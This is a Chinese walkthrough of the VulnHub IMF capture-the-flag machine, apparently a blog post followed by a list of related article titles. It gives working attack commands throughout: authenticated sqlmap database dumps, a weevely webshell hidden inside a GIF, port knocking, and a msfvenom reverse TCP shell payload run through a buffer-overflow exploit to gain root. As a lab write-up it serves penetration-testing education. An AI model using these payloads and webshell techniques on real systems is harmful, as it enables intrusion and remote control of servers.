靶机地址:https://www.vulnhub.com/entry/imf-1,162/

靶机难度:中级(CTF)

靶机发布日期:2016年10月30日

靶机描述:欢迎使用“ IMF”,这是我的第一个Boot2Root虚拟机。IMF是一个情报机构,您必须骇入所有标志并最终扎根。这些标志起步容易,随着您的前进而变得越来越难。每个标志都包含下一个标志的提示。我希望您喜欢这个虚拟机并学到一些东西。

目标:得到root权限&找到四个flag.txt

靶机wp作者:Jack渡鸦

用虚拟机开启今天的靶机

第一步扫出目标靶机的IP

命令:arp-scan -l

用nmap扫了一下,发现就开了一个80端口,访问靶机IP的80端口

把flag的值解码,得到一个值allthefiles

在页面按ctrl+f搜索等号,找到另外一个based64值,把三段拼成一个ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==,解码得flag2{aW1mYWRtaW5pc3RyYXRvcg==}

对flag2里面的值解码得imfadministrator,访问一下发现是目录路径,一个登录框

查看源代码

提示:我不能让SQL工作,所以我硬编码的密码。它仍然很安全。——罗杰

由于登录页面有报错机制,所以我们可以判断一下正确的用户名,根据刚刚的提示试试Roger是不是正确的用户名,发现报错

之前访问的页面看到过人名,试试rmichaels是不是正确的用户名

试了一下hydra爆破密码,虽然爆破出来了好几个但是全部都是失效的无法登录,然后我用burp抓包

得到flag3{Y29udGludWVUT2Ntcw==}和一个路径cms.php?pagename=home

解码flag3的内容得continueTOcms

访问才发现的路径

加就单引号报错,说明存在sql注入,所以我们直接上sqlmap

这里因为是基于登录之后的sql注入,所以我们需要加上cookie值,在有一道cve的漏洞我讲过这个点

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -dbs

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -tables

命令:sqlmap -o -u "http://192.168.0.154/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=c5h3o747t7678ocgt93ems0vm5" --batch -D admin -T pages --dump

访问找到的路径images/whiteboard.jpg,发现是一个二维码,扫描之后得到flag4

解码flag4里面的based64值,得到uploadr942.php,访问该路径发现一个文件上传的地方

使用kali上自带的一句话木马生成工具weevely生成php的木马(参考链接kali下的webshell工具-Weevely_@小张小张的博客-CSDN博客_kali webshell工具)

知识点:weevely是适用于php网站的webshell工具,使用weevely生成的木马免杀能力较强,而且使用加密连接,往往能轻松突破WAF拦截。

命令:weevely generate duya w.php

(duya是密码,一会连接要用,你可以任意取一个,w.php是文件名称)

接下来交你们做一个图片木马把w.php拖到主机上,随便找个目录放进去,再到网上找一个gif图保存到那个目录,gif图越小越好.

然后打开cmd

命令:copy 1.gif/b + w.php 88.gif

然后就生成了88.gif,这个gif图里就包含者w.php里面的木马

我们把生成的88.gif上传上去,显示上传成功

接下来我们打开源代码,获得gif文件上传到服务器的文件名称 a25ec328b432

然后找到上传路径,再使用weevely进行连接

成功得到低权限shell,然后得到flag5{YWdlbnRzZXJ2aWNlcw==}

把flag5的值解密之后得到提示agentservices

根据提示查找文件

命令: find / -name agent &>2/dev/unull

在/usr/local/bin目录发现提示的信息,agent文件

查看agent发现是ELF 32位执行文件

用cat命令查看access_codes,发现提示SYN 7482,8279,9467
这边提示端口试探,我们可以使用knock命令试探一下

命令:knock -v 192.168.0.154 7482 8279 9467

查一下端口发现服务器运行7788应该就是agent的端口了
但是前面nmap没有扫描到,端口试探应该是针对这个端口的

连接一下7788端口,发现需要输入正确的id

没关系,我们先将agent文件下载到本地然后再分析

命令:file_download /usr/local/bin/agent /root/桌面/ssss/agent

先赋予agent文件可读可写可执行的权限,然后我们使用ltrace跟踪agent在执行过程中调用库函数的情况,第一次使用这个函数可能需要下载一下

知识点 ltrace:跟踪进程调用库函数

ltrace 能够跟踪进程的库函数调用,它会显现出调用了哪个库函数

命令:ltrace ./agent

在fgets处随便输入内容,然后strncmp函数会将我们输入的内容和agent ID进行对比,这样就使得agent的真实ID的为48093572

再次执行agent并输入正确id得到三个选项

  1. 提取分
  2. 请求提取
  3. 提交报告

其中选项2和3可以让用户输入内容,这样看来应该是要通过缓冲区溢出7788端口的agent程序,然后用二进制修改exp为agent进程创建一个shell,首先我们为msfvenom有效负载创建一个shellcode

使用msfvenom创建一个shellcode

命令: msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.154 LPORT=4489 -b “\x00\x0a\x0” -f python -o /root/桌面/ssss/k.py

指令解释:

-p 选择payload(此次因为agent是32位,所以使用X86

LHOST 、LPORT 监测主机IP和端口

-b 在生成的程序中避免出现的值

\x00 == 0x00 ASCII控制字符表中对应 NULL (空字符)

\x0a == 0X0a ASCII控制字符表中对应 LF (换行键)

\x0b == 0x0b ASCII控制字符表中对应 VT (垂直定位符号)

-f 指定生成xxx格式

-o 输入路径和文件

小知识点:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。. shellcode常常使用机器语言编写。. 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令,Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心

生成这段shellcode之后,我们需要编写一个缓冲区溢出漏洞sploit的exp,我这边是直接在github上找了大佬写好的exp

我们把agentsploit.py下载下来拉到kali中,然后把原代码中的这段shellcode替换成我们刚刚用msfvenom生成的shellcode就可以了

开启监听

命令: nc -lvnp 4489

使用exp和对应的shellcode对7788服务器进行缓冲区溢出攻击

命令:python2 agentsploit.py 192.168.0.154 7788

成功连接得到root权限,拿到flag6

flag6解码得GhostProtocols,意思是幽灵协议

今天这台靶机涉及的知识点非常全面

1.有文件上传漏洞,

2.基于cookie的sql注入漏洞,

3.sqlmap的使用,

4.用kali自带的木马生成工具weevely生成绕waf的一句话木马

5.使用绕waf的木马和普通gif结合生成gif图片木马,

6.使用knock敲开隐藏的服务器端口,

7.使用ltrace函数跟踪进程的库函数调用从而得到正确id,

8.用msfvenom生成一个针对性的shellcode然后对目标服务器端口进行缓冲区溢出攻击从而得到root权限

今天的这台靶机结束,希望你们能从中学到东西,如果觉得还不错可以点个赞让我知道。我是渡鸦,每天更新一台vulnhub靶机,关注我带你打完百台靶机项目实战,欢迎老爷们关注我一起提升技术,留言进入vulnhub渗透测试交流群一起进步。

全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】相关推荐

  1. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  2. 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

    漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...

  3. (20)文件上传漏洞:原理、原因、常见触发点分析,vulhub、upload、公开cms上传漏洞多种方法测试

    目录 理解文件上传漏洞: 文件上传漏洞: 文件上传漏洞: WebShell: 一句话木马: 产生上传漏洞原因: 原因: 常见的问题: 危害: 触发点,并判断是否存在文件上传漏洞: 触发点: 查找方法: ...

  4. php上传文件测试代码,php 文件上传函数的超详细示例

    这篇文章主要为大家详细介绍了php 文件上传函数的超详细示例,具有一定的参考价值,可以用来参考一下. 下面跟随512笔记的小编来举个例子吧. 经测试代码如下: /** * 文件上传 * * 返回的数组 ...

  5. 金蝶软件怎么过账_超详细!金蝶财务软件实操流程

    超详细! 金蝶财务软件实操流程 有外币:录入凭证→审核凭证→凭证过账→期末调汇→凭证审核→凭证过账→结转损益 →凭证审核→凭证过账→期末结账, 没有外币:录入凭证→审核凭证→凭证过账→结转损益→凭证审 ...

  6. Goldeneye靶机实操

    Goldeneye靶机实操 信息搜集 webshell 用户提权 新手上路 请多多指教 信息搜集 接好靶机 发现IP为:192.168.8.144 发现 80端口开着 试试打开 用户是Boris无疑, ...

  7. iapp退出软件按钮代码_还在为金蝶财务软件发愁吗?超详细!金蝶财务软件实操流程,速收!...

    在争分夺秒的现代社会,时间就是生命.钱和效益,所以摒弃传统繁琐手工记账,代之以使用财务金蝶KIS系列软件,该软件作为一款非常实用且常用的财务办公工具,深受职场人员的喜爱,同时企业的工作效率是之前的好几 ...

  8. 红日靶场(vulnstack)一 超全面详细的渗透测试学习笔记

    这里写目录标题 一.环境搭建 二.拿下web服务器 信息收集 phpmyadmin 日志getshell yxcms 文件上传 xss sql注入 三.后渗透 3.1 基于msf 3.2 msf 联动 ...

  9. 2022渗透测试-文件上传漏洞的详细讲解

    目录 1.什么是文件上传漏洞 2.生成图片木马 3.靶场 1.第一关 2.前端检测(第二关) 3.服务器端检测--MIME类型(第二关) 4.服务器端检测--文件类型(第十四关) 5.服务器文件内容验 ...

最新文章

  1. docker-registry的定制和性能分析
  2. gradle的基本设置
  3. java 关于String
  4. 如何用Curl 来post xml 数据
  5. python -- 环境搭建
  6. 更改Android Studio中AVD的默认路径
  7. 项目测试基础:白盒测试相关知识笔记
  8. DotNET内存管理与垃圾回收[转]
  9. win和mac系统Sublime Text 3配置编译c和c++
  10. [Aaronyang] 写给自己的WPF4.5 笔记[2依赖属性]
  11. ALM TFS/VSTS工具 的Java集成
  12. 【转】MySql常用函数大全
  13. 2021Java学习路线总结
  14. eSPI自学笔记(一):前言和简介
  15. 在购买太阳眼镜时怎样辨别好坏
  16. 海外众筹:产品出海kickstarter海外众筹流程
  17. PHP 接入SSL后的一个极端个例
  18. 基于mpvue的微信小程序全栈保姆式教程一
  19. Swift API简介
  20. 安捷伦示波器连接电脑

热门文章

  1. Cruise的API简介--Properties篇
  2. java mac 加密_Algorithm:Java加密解密之MAC(消息认证码)
  3. 游戏掉帧怎么办,刷新率方案
  4. android应用获取手机存储空间方法
  5. 【源码】SIMULINK中的Logitech X-56 H.O.T.A.S飞行控制器
  6. 粗糙集,邻域粗糙集与实域粗糙集概述
  7. 学习笔记:Java 并发编程①_基础知识入门
  8. 几乎每个人都听说过三皇五帝,那么三皇五帝是否存在?又是谁呢?
  9. mysql数据库无法插入中文
  10. linux 下线程池